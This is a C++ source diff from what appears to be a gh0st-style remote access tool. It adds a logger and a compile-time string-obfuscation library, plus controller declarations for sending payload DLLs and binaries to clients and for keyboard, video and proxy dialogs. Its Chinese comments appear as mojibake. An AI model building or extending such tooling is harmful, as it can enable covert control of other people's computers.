#include <atomic>
#include <chrono>
#include <sstream>
#include <cstdarg>
#include "skCrypter.h"
#include <iomanip>
inline bool stringToBool(const std::string& str) {
std::string lower = str;
std::transform(lower.begin(), lower.end(), lower.begin(), ::tolower);
return (lower == "true" || lower == "1");
}
class Logger {
public:
enum LogLevel {
InfoLevel, WarningLevel, ErrorLevel
};
// <20><><EFBFBD><EFBFBD>ģʽ
static Logger& getInstance() {
static Logger instance;
if (instance.pid.empty()) {
char buf[16] = {};
sprintf_s(buf, "%d", GetCurrentProcessId());
instance.pid = buf;
instance.InitLogFile("C:\\Windows\\Temp", instance.pid);
#ifdef _WINDOWS
instance.enable = true; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־Ĭ<D6BE>ϴ<EFBFBD><CFB4><EFBFBD>
#else
char var[32] = {};
const char* name = skCrypt("ENABLE_LOG");
DWORD size = GetEnvironmentVariableA(name, var, sizeof(var));
instance.enable = stringToBool(var);
instance.log("logger.h", __LINE__, "GetEnvironmentVariable: %s=%s\n", name, var);
#endif
}
return instance;
}
// <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>͸<EFBFBD>ֵ
Logger(const Logger&) = delete;
Logger& operator=(const Logger&) = delete;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
void setLogFile(const std::string& filename) {
std::lock_guard<std::mutex> lock(fileMutex);
logFileName = filename;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
void usingLog(bool b = true) {
enable = b;
}
// д<><D0B4>־<EFBFBD><D6BE>֧<EFBFBD><D6A7> printf <20><>ʽ<EFBFBD><CABD>
void log(const char* file, int line, const char* format, ...) {
va_list args;
va_start(args, format);
std::string message = formatString(format, args);
va_end(args);
auto timestamp = getCurrentTimestamp();
std::string id = pid.empty() ? "" : "[" + pid + "]";
std::string logEntry = id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message;
if (enable)
{
if (running) {
std::lock_guard<std::mutex> lock(queueMutex);
logQueue.push(logEntry);
} else {
writeToFile(logEntry);
}
}
#ifndef _WINDOWS
#ifdef _DEBUG
printf(logEntry.c_str());
#endif
#endif
cv.notify_one(); // ֪ͨд<D6AA>߳<EFBFBD>
}
// ֹͣ<CDA3><D6B9>־ϵͳ
void stop() {
if (!running) return;
{
std::lock_guard<std::mutex> lock(queueMutex);
running = false; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
}
cv.notify_one();
if (workerThread.joinable()) {
workerThread.join();
}
for (int i = 0; threadRun && i++ < 1000; Sleep(1));
}
private:
// <20><>־<EFBFBD><D6BE><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
void InitLogFile(const std::string & dir, const std::string& pid) {
time_t currentTime = time(nullptr);
tm* localTime = localtime(&currentTime);
char timeString[32];
strftime(timeString, sizeof(timeString), "%Y-%m", localTime);
char fileName[100];
#ifdef _WINDOWS
sprintf_s(fileName, "\\YAMA_%s_%s.txt", timeString, pid.c_str());
#else
sprintf_s(fileName, "\\log_%s_%s.txt", timeString, pid.c_str());
#endif
logFileName = dir + fileName;
}
std::string logFileName; // <20><>־<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
bool enable; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
bool threadRun; // <20><>־<EFBFBD>߳<EFBFBD>״̬
std::queue<std::string> logQueue; // <20><>־<EFBFBD><D6BE><EFBFBD><EFBFBD>
std::mutex queueMutex; // <20><><EFBFBD>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD>
std::condition_variable cv; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
std::atomic<bool> running; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
std::thread workerThread; // <20><>̨<EFBFBD>߳<EFBFBD>
std::mutex fileMutex; // <20>ļ<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
std::string pid; // <20><><EFBFBD><EFBFBD>ID
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
~Logger() {
stop();
}
// <20><>̨<EFBFBD>̴߳<DFB3><CCB4><EFBFBD><EFBFBD><EFBFBD>־
void processLogs() {
threadRun = true;
while (running) {
std::unique_lock<std::mutex> lock(queueMutex);
cv.wait(lock, [this]() {
return !running || !logQueue.empty();
});
while (running && !logQueue.empty()) {
std::string logEntry = logQueue.front();
logQueue.pop();
lock.unlock();
// д<><D0B4><EFBFBD><EFBFBD>־<EFBFBD>ļ<EFBFBD>
writeToFile(logEntry);
lock.lock();
}
lock.unlock();
}
threadRun = false;
}
// д<><D0B4><EFBFBD>ļ<EFBFBD>
void writeToFile(const std::string& logEntry) {
std::lock_guard<std::mutex> lock(fileMutex);
std::ofstream logFile(logFileName, std::ios::app);
if (logFile.is_open()) {
logFile << logEntry << std::endl;
}
}
// <20><>ȡ<EFBFBD><C8A1>ǰʱ<C7B0><CAB1><EFBFBD><EFBFBD>
std::string getCurrentTimestamp() {
auto now = std::chrono::system_clock::now();
auto in_time_t = std::chrono::system_clock::to_time_t(now);
std::tm tm;
#ifdef _WIN32
localtime_s(&tm, &in_time_t); // Windows <20><>ȫ<EFBFBD>
#else
localtime_r(&in_time_t, &tm); // POSIX <20><>ȫ<EFBFBD>
#endif
std::stringstream ss;
ss << std::put_time(&tm, "%Y-%m-%d %H:%M:%S");
return ss.str();
}
// <20><><EFBFBD><EFBFBD>־<EFBFBD><D6BE><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
std::string logLevelToString(LogLevel level) {
switch (level) {
case InfoLevel: return "INFO";
case WarningLevel: return "WARNING";
case ErrorLevel: return "ERROR";
default: return "UNKNOWN";
}
}
// <20><>ʽ<EFBFBD><CABD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
std::string formatString(const char* format, va_list args) {
char buffer[1024];
vsnprintf(buffer, sizeof(buffer), format, args);
return std::string(buffer);
}
};
inline const char* getFileName(const char* path) {
const char* fileName = strrchr(path, '\\');
if (!fileName) {
fileName = strrchr(path, '/');
}
return fileName ? fileName + 1 : path;
}
#ifdef _WINDOWS
#ifdef _DEBUG
#define Mprintf(format, ...) TRACE(format, __VA_ARGS__)
#else
#define Mprintf(format, ...) Logger::getInstance().log(getFileName(__FILE__), __LINE__, format, __VA_ARGS__)
#endif
#else
#define Mprintf(format, ...) Logger::getInstance().log(getFileName(skCrypt(__FILE__)), __LINE__, skCrypt(format), __VA_ARGS__)
#endif
#endif // _WIN32

163
common/skCrypter.h Normal file
View File

@@ -0,0 +1,163 @@
#pragma once
/*____________________________________________________________________________________________________________
Original Author: skadro
Github: https://github.com/skadro-official
License: See end of file
skCrypter
Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+
*Not removing this part is appreciated*
____________________________________________________________________________________________________________*/
#ifdef _KERNEL_MODE
namespace std
{
// STRUCT TEMPLATE remove_reference
template <class _Ty>
struct remove_reference {
using type = _Ty;
};
template <class _Ty>
struct remove_reference<_Ty&> {
using type = _Ty;
};
template <class _Ty>
struct remove_reference<_Ty&&> {
using type = _Ty;
};
template <class _Ty>
using remove_reference_t = typename remove_reference<_Ty>::type;
// STRUCT TEMPLATE remove_const
template <class _Ty>
struct remove_const { // remove top-level const qualifier
using type = _Ty;
};
template <class _Ty>
struct remove_const<const _Ty> {
using type = _Ty;
};
template <class _Ty>
using remove_const_t = typename remove_const<_Ty>::type;
}
#else
#include <type_traits>
#endif
namespace skc
{
template<class _Ty>
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
template <int _size, char _key1, char _key2, typename T>
class skCrypter
{
public:
__forceinline constexpr skCrypter(T* data)
{
crypt(data);
}
__forceinline T* get()
{
return _storage;
}
__forceinline int size() // (w)char count
{
return _size;
}
__forceinline char key()
{
return _key1;
}
__forceinline T* encrypt()
{
if (!isEncrypted())
crypt(_storage);
return _storage;
}
__forceinline T* decrypt()
{
if (isEncrypted())
crypt(_storage);
return _storage;
}
__forceinline bool isEncrypted()
{
return _storage[_size - 1] != 0;
}
__forceinline void clear() // set full storage to 0
{
for (int i = 0; i < _size; i++)
{
_storage[i] = 0;
}
}
__forceinline operator T* ()
{
decrypt();
return _storage;
}
private:
__forceinline constexpr void crypt(T* data)
{
for (int i = 0; i < _size; i++)
{
_storage[i] = data[i] ^ (_key1 + i % (1 + _key2));
}
}
T _storage[_size]{};
};
}
#define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7])
#define skCrypt_key(str, key1, key2) []() { \
constexpr static auto crypted = skc::skCrypter \
<sizeof(str) / sizeof(str[0]), key1, key2, skc::clean_type<decltype(str[0])>>((skc::clean_type<decltype(str[0])>*)str); \
return crypted; }()
/*________________________________________________________________________________
MIT License
Copyright (c) 2020 skadro
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
________________________________________________________________________________*/

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 165 KiB

After

Width:  |  Height:  |  Size: 132 KiB

BIN
lib/shrink.lib Normal file

Binary file not shown.

BIN
lib/shrink_x64.lib Normal file

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -13,6 +13,70 @@
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD> // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
#define CLIENT_EXIT_WITH_SERVER 0 #define CLIENT_EXIT_WITH_SERVER 0
typedef struct DllInfo {
std::string Name;
Buffer* Data;
~DllInfo() {
SAFE_DELETE(Data);
}
}DllInfo;
#define ID_DYNAMIC_MENU_BASE 36500
//////////////////////////////////////////////////////////////////////////
#include <unordered_map>
#include <fstream>
#define DB_FILENAME "./YAMA.db"
enum {
MAP_NOTE,
MAP_LOCATION,
};
struct _ClientValue
{
char Note[64];
char Location[64];
char Reserved[128]; // Ԥ<><D4A4>
_ClientValue() {
memset(this, 0, sizeof(_ClientValue));
}
_ClientValue(const CString& loc, const CString& s) {
memset(this, 0, sizeof(_ClientValue));
strcpy_s(Note, s.GetString());
strcpy_s(Location, loc.GetString());
}
void UpdateNote(const CString& s) {
strcpy_s(Note, s.GetString());
}
void UpdateLocation(const CString& loc) {
strcpy_s(Location, loc.GetString());
}
const char* GetNote() const {
return Note;
}
const char* GetLocation() const {
return Location;
}
int GetLength() const {
return sizeof(_ClientValue);
}
};
typedef uint64_t ClientKey;
typedef _ClientValue ClientValue;
typedef std::unordered_map<ClientKey, ClientValue> ComputerNoteMap;
// <20><><EFBFBD><EFBFBD> unordered_map <20><><EFBFBD>ļ<EFBFBD>
void SaveToFile(const ComputerNoteMap& data, const std::string& filename);
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ unordered_map <20><><EFBFBD><EFBFBD>
void LoadFromFile(ComputerNoteMap& data, const std::string& filename);
//////////////////////////////////////////////////////////////////////////
enum enum
{ {
PAYLOAD_DLL_X86 = 0, // 32λ DLL PAYLOAD_DLL_X86 = 0, // 32λ DLL
@@ -23,6 +87,43 @@ enum
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CMy2015RemoteDlg : public CDialogEx class CMy2015RemoteDlg : public CDialogEx
{ {
protected:
ComputerNoteMap m_ClientMap;
CString GetClientMapData(ClientKey key, int typ) {
EnterCriticalSection(&m_cs);
auto f = m_ClientMap.find(key);
CString r;
if (f != m_ClientMap.end()) {
switch (typ)
{
case MAP_NOTE:
r = f->second.GetNote();
break;
case MAP_LOCATION:
r = f->second.GetLocation();
break;
default:
break;
}
}
EnterCriticalSection(&m_cs);
return r;
}
void SetClientMapData(ClientKey key, int typ, const char* value) {
EnterCriticalSection(&m_cs);
switch (typ)
{
case MAP_NOTE:
m_ClientMap[key].UpdateNote(value);
break;
case MAP_LOCATION:
m_ClientMap[key].UpdateLocation(value);
break;
default:
break;
}
EnterCriticalSection(&m_cs);
}
// <20><><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD>
public: public:
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF> CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
@@ -48,8 +149,8 @@ public:
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD> VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD> VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject); CString ver, CString startTime, const std::vector<std::string> &v, CONTEXT_OBJECT* ContextObject);
VOID ShowMessage(BOOL bOk, CString strMsg); VOID ShowMessage(BOOL bOk, CString strMsg);
VOID CreatStatusBar(); VOID CreatStatusBar();
VOID CreateToolBar(); VOID CreateToolBar();
@@ -59,8 +160,9 @@ public:
BOOL Activate(int nPort,int nMaxConnection); BOOL Activate(int nPort,int nMaxConnection);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx); void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx); void SendMasterSettings(CONTEXT_OBJECT* ctx);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit); VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE]; Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
MasterSettings m_settings; MasterSettings m_settings;
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
@@ -73,13 +175,14 @@ public:
CStatusBar m_StatusBar; //״̬<D7B4><CCAC> CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
CTrueColorToolBar m_ToolBar; CTrueColorToolBar m_ToolBar;
std::vector<DllInfo*> m_DllList;
NOTIFYICONDATA m_Nid; NOTIFYICONDATA m_Nid;
HANDLE m_hExit; HANDLE m_hExit;
IOCPServer* m_iocpServer; IOCPServer* m_iocpServer;
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
BOOL isClosed; BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[4]; CBitmap m_bmOnline[6];
bool CheckValid(); bool CheckValid();
afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose(); afx_msg void OnClose();
@@ -119,8 +222,17 @@ public:
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg); virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg void OnOnlineShare(); afx_msg void OnOnlineShare();
afx_msg void OnToolAuth(); afx_msg void OnToolAuth();
afx_msg void OnToolGenMaster();
afx_msg void OnMainProxy();
afx_msg void OnOnlineHostnote();
afx_msg void OnHelpImportant();
afx_msg void OnHelpFeedback();
afx_msg void OnDynamicSubMenu(UINT nID);
}; };

View File

@@ -74,30 +74,30 @@
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental> <LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental> <LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath> <IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader> <PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild> <MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
@@ -107,6 +107,7 @@
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</OutputFile>
</Link> </Link>
<Midl> <Midl>
<MkTypLibCompatible>false</MkTypLibCompatible> <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -124,7 +125,7 @@
<PrecompiledHeader>Use</PrecompiledHeader> <PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild> <MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
@@ -134,6 +135,7 @@
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</OutputFile>
</Link> </Link>
<Midl> <Midl>
<MkTypLibCompatible>false</MkTypLibCompatible> <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -151,7 +153,7 @@
<PrecompiledHeader>Use</PrecompiledHeader> <PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization> <Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
@@ -164,6 +166,7 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions> <AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</OutputFile>
</Link> </Link>
<Midl> <Midl>
<MkTypLibCompatible>false</MkTypLibCompatible> <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -182,7 +185,7 @@
<PrecompiledHeader>Use</PrecompiledHeader> <PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization> <Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
@@ -195,6 +198,7 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib</AdditionalDependencies> <AdditionalDependencies>zlib\zlib_x64.lib</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions> <AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</OutputFile>
</Link> </Link>
<Midl> <Midl>
<MkTypLibCompatible>false</MkTypLibCompatible> <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -207,8 +211,12 @@
</ResourceCompile> </ResourceCompile>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\ServerDll.dll" /> <None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\x64\Release\ghost.exe" />
